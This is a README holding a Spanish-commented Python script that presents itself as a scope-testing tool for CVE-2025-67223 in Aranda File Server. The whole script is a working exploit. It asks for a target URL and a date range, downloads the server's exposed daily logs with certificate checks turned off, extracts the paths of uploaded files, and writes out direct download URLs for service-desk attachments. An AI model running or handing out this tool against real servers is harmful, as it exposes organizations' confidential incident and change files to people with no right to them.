README.md
Rendering markdown...
import requests
import re
import sys
from urllib.parse import urljoin
from datetime import datetime, timedelta # <- Nueva librería para manejar fechas
#Seleccionar en el vscode - (.*)$
# La función ahora devuelve la lista de URLs encontradas en ese día
def enumerar_archivos_afs(base_url, fecha_objetivo):
"""
Se conecta al log de Aranda File Server de una fecha específica
y extrae las rutas de los archivos expuestos.
"""
log_path = f"/AFS/logs/{fecha_objetivo}.log"
log_url = urljoin(base_url, log_path)
print(f"[*] Intentando recuperar log del día {fecha_objetivo} desde: {log_url}")
try:
# verify=False para entornos de prueba
response = requests.get(log_url, verify=False, timeout=10)
if response.status_code == 404:
print("[-] Log no encontrado (404). Posiblemente no hubo actividad ese día.")
return [] # Devuelve lista vacía
elif response.status_code != 200:
print(f"[-] Error: No se pudo acceder. Código de estado: {response.status_code}")
return [] # Devuelve lista vacía
print("[+] Log recuperado. Analizando patrones...")
contenido_log = response.text
# Patrón amplio (Incidents, Changes, ServiceCalls, CI/CMDB)
regex_patron = r"FILE UPLOADED\s:\s(.+)"
coincidencias = re.findall(regex_patron, contenido_log, re.IGNORECASE)
rutas_unicas = set(coincidencias)
if not rutas_unicas:
print(f"[-] No se encontraron archivos subidos en el log del día {fecha_objetivo}.")
return []
# 3. Reconstrucción de URLs
ruta_base_archivos = "/AFS/ServiceDesk/"
urls_generadas = []
for ruta_raw in rutas_unicas:
ruta_web = ruta_raw.replace('\\', '/')
full_path = urljoin(base_url, ruta_base_archivos + ruta_web)
urls_generadas.append(full_path)
print(f"[+] Éxito: {len(urls_generadas)} archivos encontrados para {fecha_objetivo}.")
return urls_generadas
except requests.exceptions.RequestException as e:
print(f"[-] Error de conexión para {fecha_objetivo}: {e}")
return []
except Exception as e:
print(f"[-] Error inesperado para {fecha_objetivo}: {e}")
return []
def get_date_range(start_date_str, end_date_str):
"""Genera fechas en formato YYYYMMDD entre dos fechas dadas."""
try:
start_date = datetime.strptime(start_date_str, '%Y%m%d')
end_date = datetime.strptime(end_date_str, '%Y%m%d')
except ValueError:
raise ValueError("Formato de fecha inválido. Use YYYYMMDD.")
if start_date > end_date:
raise ValueError("La fecha de inicio no puede ser posterior a la fecha de fin.")
current_date = start_date
while current_date <= end_date:
yield current_date.strftime('%Y%m%d')
current_date += timedelta(days=1)
if __name__ == "__main__":
print("--- Herramienta de Prueba de Alcance CVE-2025-67223 (AFS) [Rango de Fechas] ---")
# 1. ENTRADA DE DATOS
target = input("Ingrese la URL base del sitio: ").strip()
start_date_str = input("Ingrese la FECHA DE INICIO (YYYYMMDD): ").strip()
end_date_str = input("Ingrese la FECHA DE FIN (YYYYMMDD): ").strip()
if not target.startswith("http"):
target = "http://" + target
all_exposed_urls = []
# 2. PROCESAMIENTO POR RANGO
try:
fechas_a_analizar = list(get_date_range(start_date_str, end_date_str))
print(f"\n[*] Analizando {len(fechas_a_analizar)} días desde {start_date_str} hasta {end_date_str}...")
for date_to_check in fechas_a_analizar:
urls_del_dia = enumerar_archivos_afs(target, date_to_check)
if urls_del_dia:
all_exposed_urls.extend(urls_del_dia)
except ValueError as e:
print(f"[-] Error de entrada: {e}")
sys.exit(1)
# 3. SALIDA CONSOLIDADA
print("\n" + "=" * 80)
rutas_unicas_totales = set(all_exposed_urls)
if rutas_unicas_totales:
print(f"| REPORTE FINAL: {len(rutas_unicas_totales)} ARCHIVOS ÚNICOS EXPUESTOS EN EL RANGO |")
print("=" * 80)
filename = f"reporte_alcance_{start_date_str}_a_{end_date_str}.txt"
with open(filename, "w", encoding='utf-8') as f:
for u in sorted(list(rutas_unicas_totales)):
f.write(u + "\n")
print(u)
print("=" * 80)
print(f"[*] Finalizado. Lista consolidada guardada en '{filename}'")
else:
print("| REPORTE FINAL: No se encontraron archivos expuestos en el rango de fechas. |")
print("=" * 80)